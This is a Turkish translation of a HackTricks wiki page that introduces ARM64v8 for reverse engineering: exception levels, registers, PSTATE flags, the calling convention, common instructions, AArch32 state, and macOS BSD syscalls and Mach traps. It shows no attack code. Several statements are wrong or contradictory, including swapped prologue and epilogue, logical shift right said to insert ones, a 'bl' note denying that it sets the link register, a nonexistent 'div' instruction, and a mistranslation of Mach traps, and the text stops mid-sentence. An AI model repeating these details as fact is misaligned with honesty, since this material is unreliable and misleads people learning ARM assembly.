ARM64v8'e Giriş
Reading time: 32 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
İstisna Seviyeleri - EL (ARM64v8)
ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder:
- EL0 - Kullanıcı Modu:
- Bu, en az ayrıcalıklı seviyedir ve normal uygulama kodunu yürütmek için kullanılır.
- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenlik ve kararlılığı artırır.
- EL1 - İşletim Sistemi Çekirdek Modu:
- Çoğu işletim sistemi çekirdeği bu seviyede çalışır.
- EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır.
- EL2 - Hypervisor Modu:
- Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hypervisor, aynı fiziksel donanım üzerinde birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir.
- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar.
- EL3 - Güvenli İzleyici Modu:
- Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
- EL3, güvenli ve güvenli olmayan durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (örneğin güvenli önyükleme, güvenilir OS vb.).
Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır.
Kayıtlar (ARM64v8)
ARM64, x0
ile x30
arasında etiketlenmiş 31 genel amaçlı kayıt içerir. Her biri 64-bit (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda w0
ile w30
isimleri kullanılarak erişilebilir.
x0
ilex7
- Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır.
x0
ayrıca bir fonksiyonun dönüş verisini taşır.
x8
- Linux çekirdeğinde,x8
svc
talimatı için sistem çağrı numarası olarak kullanılır. macOS'ta x16 kullanılır!x9
ilex15
- Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır.x16
vex17
- İç Prosedürel Çağrı Kayıtları. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır.
x16
, macOS'tasvc
talimatı için sistem çağrı numarası olarak kullanılır.
x18
- Platform kaydı. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut yürütme görev yapısına işaretçi.x19
ilex28
- Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalı tutmalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır.x29
- Yığın çerçevesini takip etmek için Çerçeve işaretçisi. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda,x29
kaydı yığında saklanır ve yeni çerçeve işaretçisi adresi (sp
adresi) bu kayıtta saklanır.
- Bu kayıt ayrıca genel amaçlı bir kayıt olarak da kullanılabilir, ancak genellikle yerel değişkenlere referans olarak kullanılır.
x30
veyalr
- Bağlantı kaydı.BL
(Bağlantılı Dal) veyaBLR
(Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde dönüş adresini tutar vepc
değerini bu kayıtta saklar.
- Ayrıca diğer kayıtlar gibi kullanılabilir.
- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla
lr
'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (stp x29, x30 , [sp, #-48]; mov x29, sp
->fp
velr
'yi sakla, alan oluştur ve yenifp
al) ve sonunda geri alır, bu prologdur (ldp x29, x30, [sp], #48; ret
->fp
velr
'yi geri al ve dön).
sp
- Yığın işaretçisi, yığının en üstünü takip etmek için kullanılır.
sp
değeri her zaman en az bir quadword hizalaması ile korunmalıdır, aksi takdirde hizalama hatası meydana gelebilir.
pc
- Program sayacı, bir sonraki talimata işaret eder. Bu kayıt yalnızca istisna üretimleri, istisna dönüşleri ve dallar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan talimatlar,pc
adresinilr
(Bağlantı Kaydı) içinde saklamak için bağlantılı dal talimatlarıdır (BL, BLR).xzr
- Sıfır kaydı. 32-bit kayıt formundawzr
olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veyasubs
kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğinsubs XZR, Xn, #10
sonuç verisini hiçbir yere saklamadan (xzr
içinde).
Wn
kayıtları, Xn
kaydının 32bit versiyonudur.
SIMD ve Kayan Nokta Kayıtları
Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan nokta aritmetiği gerçekleştirmek için kullanılabilecek başka 32 adet 128bit uzunluğunda kayıt vardır. Bunlara Vn kayıtları denir, ancak 64-bit, 32-bit, 16-bit ve 8-bit modlarında da çalışabilirler ve bu durumda Qn
, Dn
, Sn
, Hn
ve Bn
olarak adlandırılırlar.
Sistem Kayıtları
Yüzlerce sistem kaydı vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır, işlemcilerin davranışını izlemek ve kontrol etmek için kullanılır.
Sadece özel talimatlar olan mrs
ve msr
kullanılarak okunabilir veya ayarlanabilirler.
Özel kayıtlar TPIDR_EL0
ve TPIDDR_EL0
tersine mühendislik yaparken sıkça bulunur. EL0
eki, kaydın erişilebileceği minimum istisnayı gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).
Genellikle iş parçacığına özgü depolama bellek bölgesinin temel adresini saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir.
mrs x0, TPIDR_EL0 ; TPIDR_EL0'ı x0'a oku
msr TPIDR_EL0, X0 ; x0'ı TPIDR_EL0'a yaz
PSTATE
PSTATE, işletim sistemi görünür SPSR_ELx
özel kaydına serileştirilmiş birkaç işlem bileşeni içerir, burada X, tetiklenen istisnanın izin seviyesidir (bu, istisna sona erdiğinde işlem durumunu geri almak için olanak tanır).
Erişilebilir alanlar şunlardır:
N
,Z
,C
veV
durum bayrakları:N
, işlemin negatif bir sonuç verdiğini belirtir.Z
, işlemin sıfır verdiğini belirtir.C
, işlemin taşındığını belirtir.V
, işlemin imzalı bir taşma verdiğini belirtir:- İki pozitif sayının toplamı negatif bir sonuç verir.
- İki negatif sayının toplamı pozitif bir sonuç verir.
- Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse.
- Açıkça, işlemci işlemin imzalı olup olmadığını bilmez, bu nedenle C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir.
warning
Tüm talimatlar bu bayrakları güncellemez. CMP
veya TST
gibi bazıları günceller ve ADDS
gibi s eki olan diğerleri de günceller.
- Mevcut kayıt genişliği (
nRW
) bayrağı: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. - Mevcut İstisna Seviyesi (
EL
): EL0'da çalışan bir normal program 0 değerine sahip olacaktır. - Tek adım bayrağı (
SS
): Hata ayıklayıcılar tarafından, bir istisna aracılığıylaSPSR_ELx
içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir. - Geçersiz istisna durumu bayrağı (
IL
): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci geçersiz durum istisnası tetikler. DAIF
bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır.- Eğer
A
1 ise, asenkron abortlar tetiklenecektir.I
, dış donanım Kesme İsteklerine (IRQ'lar) yanıt vermek için yapılandırılır. F ise Hızlı Kesme İstekleri (FIR'lar) ile ilgilidir. - Yığın işaretçisi seçme bayrakları (
SPS
): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilirler (örneğinSP_EL1
ileEL0
arasında). Bu geçiş,SPSel
özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz.
Çağrı Sözleşmesi (ARM64v8)
ARM64 çağrı sözleşmesi, bir fonksiyona ilk sekiz parametrenin x0
ile x7
kayıtlarında geçildiğini belirtir. Ek parametreler yığında geçilir. Dönüş değeri x0
kaydında veya x1
kaydında eğer 128 bit uzunluğundaysa geri geçilir. x19
ile x30
ve sp
kayıtları, fonksiyon çağrıları arasında korunmalıdır.
Bir fonksiyonu assembly dilinde okurken, fonksiyon prologunu ve epilogunu arayın. Prolog, genellikle çerçeve işaretçisini (x29
) saklamayı, yeni bir çerçeve işaretçisi ayarlamayı ve yığın alanı ayırmayı içerir. Epilog, genellikle saklanan çerçeve işaretçisini geri yüklemeyi ve fonksiyondan dönmeyi içerir.
Swift'te Çağrı Sözleşmesi
Swift'in kendi çağrı sözleşmesi vardır ve https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64 adresinde bulunabilir.
Yaygın Talimatlar (ARM64v8)
ARM64 talimatları genellikle opcode dst, src1, src2
formatına sahiptir, burada opcode
gerçekleştirilecek işlemi (örneğin add
, sub
, mov
vb.) belirtir, dst
sonucu saklayacak hedef kaydıdır ve src1
ve src2
kaynak kayıtlarıdır. Anlık değerler de kaynak kayıtları yerine kullanılabilir.
-
mov
: Bir kayıttan diğerine bir değeri taşı. -
Örnek:
mov x0, x1
— Bu,x1
'denx0
'a değeri taşır. -
ldr
: Bellekten bir değeri bir kayda yükle. -
Örnek:
ldr x0, [x1]
— Bu,x1
tarafından işaret edilen bellek konumundan bir değerix0
'a yükler. -
Offset modu: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin:
-
ldr x2, [x1, #8]
, bux2
'yex1 + 8
değerini yükleyecektir. -
ldr x2, [x0, x1, lsl #2]
, bux2
'yex0
dizisindenx1
(indeks) * 4 konumundaki bir nesneyi yükleyecektir. -
Önceden indekslenmiş mod: Bu, orijinal değere hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal değeri orijinalde saklar.
-
ldr x2, [x1, #8]!
, bux2
'yex1 + 8
yükler vex1
'ex1 + 8
sonucunu saklar. -
str lr, [sp, #-4]!
, Bağlantı kaydını sp'ye sakla ve kaydı güncelle. -
Son indeks modu: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır.
-
ldr x0, [x1], #8
,x1
'ix0
'a yükler vex1
'ix1 + 8
ile günceller. -
PC'ye göre adresleme: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır.
-
ldr x1, =_start
, Bu,_start
sembolünün başladığı adresix1
'e yükleyecektir. -
str
: Bir kayıttan belleğe bir değeri sakla. -
Örnek:
str x0, [x1]
— Bu,x0
'deki değerix1
tarafından işaret edilen bellek konumuna saklar. -
ldp
: Kayıt Çifti Yükle. Bu talimat, ardışık bellek konumlarından iki kaydı yükler. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -
Örnek:
ldp x0, x1, [x2]
— Bu,x2
vex2 + 8
konumlarındaki bellektenx0
vex1
'i yükler. -
stp
: Kayıt Çifti Sakla. Bu talimat, ardışık bellek konumlarına iki kaydı saklar. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -
Örnek:
stp x0, x1, [sp]
— Bu,x0
vex1
'isp
vesp + 8
konumlarındaki bellek alanlarına saklar. -
stp x0, x1, [sp, #16]!
— Bu,x0
vex1
'isp+16
vesp + 24
konumlarındaki bellek alanlarına saklar vesp
'yisp+16
ile günceller. -
add
: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar. -
Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Hedef
-
Xn2 -> Operatör 1
-
Xn3 | #imm -> Operatör 2 (kayıt veya anlık)
-
[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır
-
Örnek:
add x0, x1, x2
— Bu,x1
vex2
'deki değerleri toplar ve sonucux0
'da saklar. -
add x5, x5, #1, lsl #12
— Bu, 4096'ya eşittir (1, 12 kez kaydırılmış) -> 1 0000 0000 0000 0000 -
adds
Bu, biradd
işlemi gerçekleştirir ve bayrakları günceller. -
sub
: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar. -
add
söz dizimini kontrol edin. -
Örnek:
sub x0, x1, x2
— Bu,x2
'deki değerix1
'den çıkarır ve sonucux0
'da saklar. -
subs
Bu, çıkarma işlemi gibidir ancak bayrağı günceller. -
mul
: İki kaydın değerlerini çarpar ve sonucu bir kayıtta saklar. -
Örnek:
mul x0, x1, x2
— Bu,x1
vex2
'deki değerleri çarpar ve sonucux0
'da saklar. -
div
: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar. -
Örnek:
div x0, x1, x2
— Bu,x1
'deki değerix2
'ye böler ve sonucux0
'da saklar. -
lsl
,lsr
,asr
,ror
,rrx
: -
Mantıksal kaydırma sola: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kat 2 ile çarpma).
-
Mantıksal kaydırma sağa: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız n kat 2 ile bölme).
-
Aritmetik kaydırma sağa:
lsr
gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine 1 eklenir (imzalı n kat 2 ile bölme). -
Sağa döndürme:
lsr
gibi, ancak sağdan çıkarılan her şey sola eklenir. -
Genişletme ile sağa döndürme:
ror
gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Yani taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir. -
bfm
: Bit Alanı Taşıma, bu işlemler bir değerden0...n
bitlerini kopyalar ve bunlarım..m+n
konumlarına yerleştirir.#s
, en soldaki bit konumunu ve#r
ise sağa döndürme miktarını belirtir. -
Bit alanı taşıma:
BFM Xd, Xn, #r
-
İmzalı bit alanı taşıma:
SBFM Xd, Xn, #r, #s
-
İmzalı olmayan bit alanı taşıma:
UBFM Xd, Xn, #r, #s
-
Bit alanı Çıkarma ve Ekleme: Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar.
-
BFI X1, X2, #3, #4
X2'den X1'in 3. bitinden 4 bit ekle. -
BFXIL X1, X2, #3, #4
X2'nin 3. bitinden dört bit çıkar ve X1'e kopyala. -
SBFIZ X1, X2, #3, #4
X2'den 4 biti imza uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar. -
SBFX X1, X2, #3, #4
X2'den 3. bitten başlayarak 4 bit çıkarır, imza uzatır ve sonucu X1'e yerleştirir. -
UBFIZ X1, X2, #3, #4
X2'den 4 biti sıfır uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar. -
UBFX X1, X2, #3, #4
X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır uzatılmış sonucu X1'e yerleştirir. -
İmza Uzatma X'e: Bir değerin imzasını uzatır (veya imzasız versiyonda sadece 0 ekler) böylece onunla işlemler gerçekleştirebiliriz:
-
SXTB X1, W2
W2'den X1'e bir baytın imzasını uzatır (W2
,X2
'nin yarısıdır) 64bit doldurmak için. -
SXTH X1, W2
W2'den X1'e 16bit bir sayının imzasını uzatır 64bit doldurmak için. -
SXTW X1, W2
W2'den X1'e bir baytın imzasını uzatır 64bit doldurmak için. -
UXTB X1, W2
W2'den X1'e 0 ekler (imzasız) 64bit doldurmak için. -
extr
: Belirtilen kayıt çiftlerinden bitleri çıkarır. -
Örnek:
EXTR W3, W2, W1, #3
Bu, W1+W2'yi birleştirir ve W2'nin 3. bitinden W1'in 3. bitine kadar alır ve W3'e saklar. -
cmp
: İki kaydı karşılaştırır ve durum bayraklarını ayarlar. Bu,subs
'ın bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar.m == n
olup olmadığını bilmek için yararlıdır. -
subs
ile aynı söz dizimini destekler. -
Örnek:
cmp x0, x1
— Bu,x0
vex1
'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar. -
cmn
: Negatif operandı karşılaştırır. Bu durumda,adds
'ın bir takma adıdır ve aynı söz dizimini destekler.m == -n
olup olmadığını bilmek için yararlıdır. -
ccmp
: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> Eğer x1 != x2 ve x3 < x4 ise, func'a atla. -
Bu,
ccmp
'nin yalnızca öncekicmp
'ninNE
olduğu durumda yürütüleceği anlamına gelir, eğer değilsenzcv
bitleri 0 olarak ayarlanır (bu dablt
karşılaştırmasını tatmin etmez). -
Bu,
ccmn
olarak da kullanılabilir (aynı ancak negatif,cmp
ilecmn
gibi). -
tst
: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu hiçbir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki bitlerden herhangi birinin 1 olup olmadığını kontrol etmek için yararlıdır. -
Örnek:
tst X1, #7
X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et. -
teq
: Sonucu göz ardı ederek XOR işlemi. -
b
: Koşulsuz Dal. -
Örnek:
b myFunction
-
Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
-
bl
: Bağlantı ile dal, bir alt programı çağırmak için kullanılır. Dönüş adresinix30
'da saklar. -
Örnek:
bl myFunction
— Bu,myFunction
fonksiyonunu çağırır ve dönüş adresinix30
'da saklar. -
Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
-
blr
: Bağlantı ile Kayıta Dal, hedefin bir kayıtta belirtilmiş olduğu bir alt programı çağırmak için kullanılır. Dönüş adresinix30
'da saklar. (Bu -
Örnek:
blr x1
— Bu, adresix1
'de bulunan fonksiyonu çağırır ve dönüş adresinix30
'da saklar. -
ret
: Alt programdan dön, genelliklex30
'deki adresi kullanarak. -
Örnek:
ret
— Bu, mevcut alt programdan dönüş yapar ve dönüş adresinix30
'da kullanır. -
b.<cond>
: Koşullu dallar. -
b.eq
: Eşitse dal, öncekicmp
talimatına dayanarak. -
Örnek:
b.eq label
— Eğer öncekicmp
talimatı iki eşit değer bulursa, bulabel
'a atlar. -
b.ne
: Eşit Değilse Dal. Bu talimat, durum bayraklarını kontrol eder (önceki karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar. -
Örnek:
cmp x0, x1
talimatından sonra,b.ne label
— Eğerx0
vex1
'deki değerler eşit değilse, bulabel
'a atlar. -
cbz
: Sıfır ile Karşılaştır ve Dal. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar. -
Örnek:
cbz x0, label
— Eğerx0
'deki değer sıfırsa, bulabel
'a atlar. -
cbnz
: Sıfır Olmayan ile Karşılaştır ve Dal. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar. -
Örnek:
cbnz x0, label
— Eğerx0
'deki değer sıfır değilse, bulabel
'a atlar. -
tbnz
: Bit testi yap ve sıfır olmayan durumda dal. -
Örnek:
tbnz x0, #8, label
-
tbz
: Bit testi yap ve sıfır durumunda dal. -
Örnek:
tbz x0, #8, label
-
Koşullu seçim işlemleri: Bu işlemler, koşullu bitlere bağlı olarak davranışlarını değiştirir.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> Eğer doğruysa, X0 = X1, eğer yanlışsa, X0 = X2. -
csinc Xd, Xn, Xm, cond
-> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = Xm + 1. -
cinc Xd, Xn, cond
-> Eğer doğruysa, Xd = Xn + 1, eğer yanlışsa, Xd = Xn. -
csinv Xd, Xn, Xm, cond
-> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = NOT(Xm). -
cinv Xd, Xn, cond
-> Eğer doğruysa, Xd = NOT(Xn), eğer yanlışsa, Xd = Xn. -
csneg Xd, Xn, Xm, cond
-> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = - Xm. -
cneg Xd, Xn, cond
-> Eğer doğruysa, Xd = - Xn, eğer yanlışsa, Xd = Xn. -
cset Xd, Xn, Xm, cond
-> Eğer doğruysa, Xd = 1, eğer yanlışsa, Xd = 0. -
csetm Xd, Xn, Xm, cond
-> Eğer doğruysa, Xd = <tüm 1>, eğer yanlışsa, Xd = 0. -
adrp
: Bir sembolün sayfa adresini hesapla ve bir kayıtta sakla. -
Örnek:
adrp x0, symbol
— Bu,symbol
'ün sayfa adresini hesaplar vex0
'da saklar. -
ldrsw
: Bellekten imzalı 32-bit bir değeri yükle ve 64 bit'e imza uzat. -
Örnek:
ldrsw x0, [x1]
— Bu,x1
tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e imza uzatır vex0
'da saklar. -
stur
: Bir kayıt değerini bir bellek konumuna sakla, başka bir kayıttan offset kullanarak. -
Örnek:
stur x0, [x1, #4]
— Bu,x0
'deki değerix1
'deki adresten 4 byte daha büyük olan bellek adresine saklar. -
svc
: Bir sistem çağrısı yap. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, kullanıcı modundan çekirdek moduna geçer ve çekirdeğin sistem çağrı işleme kodunun bulunduğu bellek konumuna atlar. -
Örnek:
mov x8, 93 ; Çıkış için sistem çağrı numarasını (93) x8 kaydına yükle.
mov x0, 0 ; Çıkış durum kodunu (0) x0 kaydına yükle.
svc 0 ; Sistem çağrısını yap.
Fonksiyon Prologu
- Bağlantı kaydını ve çerçeve işaretçisini yığına kaydet:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Yeni çerçeve işaretçisini ayarlayın:
mov x29, sp
(mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar) - Yerel değişkenler için yığında alan ayırın (gerekirse):
sub sp, sp, <size>
(burada<size>
gereken byte sayısıdır)
Fonksiyon Epilogü
- Yerel değişkenleri serbest bırakın (eğer ayrıldıysa):
add sp, sp, <size>
- Bağlantı kaydını ve çerçeve işaretçisini geri yükleyin:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret
(kontrolü çağırana döndürür, bağlantı kaydındaki adresi kullanarak)
AARCH32 İcra Durumu
Armv8-A, 32-bit programların çalıştırılmasını destekler. AArch32, A32
ve T32
olmak üzere iki talimat setinde çalışabilir ve bunlar arasında interworking
ile geçiş yapabilir.
Yetkili 64-bit programlar, daha düşük yetkili 32-bit programların çalıştırılmasını sağlamak için bir istisna seviyesi transferi gerçekleştirerek programları planlayabilir.
64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, AArch32
işlemci iş parçacığı çalıştırılmaya hazır olduğunda SPSR_ELx
özel kaydının bit 4'ünü 1 olarak ayarlayarak yapılır ve SPSR_ELx
'in geri kalanı AArch32
programlarının CPSR'sini saklar. Ardından, yetkili işlem ERET
talimatını çağırır, böylece işlemci AArch32
'ye geçer ve CPSR**'ye bağlı olarak A32 veya T32'ye girer.**
interworking
, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. J=0
ve T=0
, A32
anlamına gelir; J=0
ve T=1
, T32 anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için en düşük bitin 1 olarak ayarlanması anlamına gelir.
Bu, interworking dal talimatları sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek:
Başka bir örnek:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Kayıtlar
16 adet 32-bit kayıt (r0-r15) vardır. r0'dan r14'e kadar olanlar herhangi bir işlem için kullanılabilir, ancak bazıları genellikle ayrılmıştır:
r15
: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4.r11
: Çerçeve İşaretçisir12
: Prosedür içi çağrı kaydır13
: Yığın İşaretçisir14
: Bağlantı Kaydı
Ayrıca, kayıtlar banked registries
içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak hızlı bağlam değiştirme işlemlerini sağlar.
Bu, istisna alındığında işlemci modunun CPSR
'sinden SPSR
'ye işlemci durumunun kaydedilmesiyle yapılır. İstisna geri döndüğünde, CPSR
SPSR
'den geri yüklenir.
CPSR - Mevcut Program Durum Kaydı
AArch32'de CPSR, AArch64'teki PSTATE
ile benzer şekilde çalışır ve daha sonra yürütmeyi geri yüklemek için SPSR_ELx
'de de saklanır:
Alanlar bazı gruplara ayrılmıştır:
- Uygulama Program Durum Kaydı (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir
- Yürütme Durumu Kayıtları: Süreç davranışı (OS tarafından yönetilir).
Uygulama Program Durum Kaydı (APSR)
N
,Z
,C
,V
bayrakları (AArch64'teki gibi)Q
bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında tam sayı doygunluğu meydana geldiğinde 1 olarak ayarlanır.1
olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır.GE
(Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatta birden fazla veri noktasını işleme imkanı tanır.
Örneğin, UADD8
talimatı dört çift baytı (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak APSR
'deki GE
bayraklarını ayarlar. Her GE bayrağı, o bayt çiftinin toplamının taşma yapıp yapmadığını gösterir.
SEL
talimatı, koşullu eylemleri gerçekleştirmek için bu GE bayraklarını kullanır.
Yürütme Durumu Kayıtları
J
veT
bitleri:J
0 olmalıdır ve eğerT
0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır.- IT Blok Durum Kaydı (
ITSTATE
): Bunlar 10-15 ve 25-26 arasındaki bitlerdir.IT
ile başlayan bir grup içindeki talimatlar için koşulları saklar. E
biti: endianness'i gösterir.- Mod ve İstisna Maske Bitleri (0-4): Mevcut yürütme durumunu belirler. 5. bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, şu anda kullanılan istisna modunu temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, başka bir istisna tetiklendiğinde mevcut önceliği gösterir.
AIF
: Belirli istisnalarA
,I
,F
bitleri kullanılarak devre dışı bırakılabilir. EğerA
1 ise, asenkron abortlar tetiklenecektir.I
, dış donanım Kesme Taleplerine (IRQ'lar) yanıt vermek için yapılandırır. F ise Hızlı Kesme Talepleri (FIR'lar) ile ilgilidir.
macOS
BSD syscalls
syscalls.master dosyasına göz atın. BSD syscalls x16 > 0 olacaktır.
Mach Tuşları
mach_trap_table
'ı syscall_sw.c dosyasında ve prototipleri mach_traps.h dosyasında kontrol edin. Mach tuşlarının maksimum sayısı MACH_TRAP_TABLE_COUNT
= 128'dir. Mach tuşları x16 < 0 olacaktır, bu nedenle önceki listedeki numaraları eksi ile çağırmalısınız: _kernelrpc_mach_vm_allocate_trap
-10
'dur.
Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir ayrıştırıcıda libsystem_kernel.dylib
dosyasını da kontrol edebilirsiniz:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Not edin ki Ida ve Ghidra, sadece önbelleği geçerek belirli dylib'leri decompile edebilir.
tip
Bazen decompile edilmiş libsystem_kernel.dylib
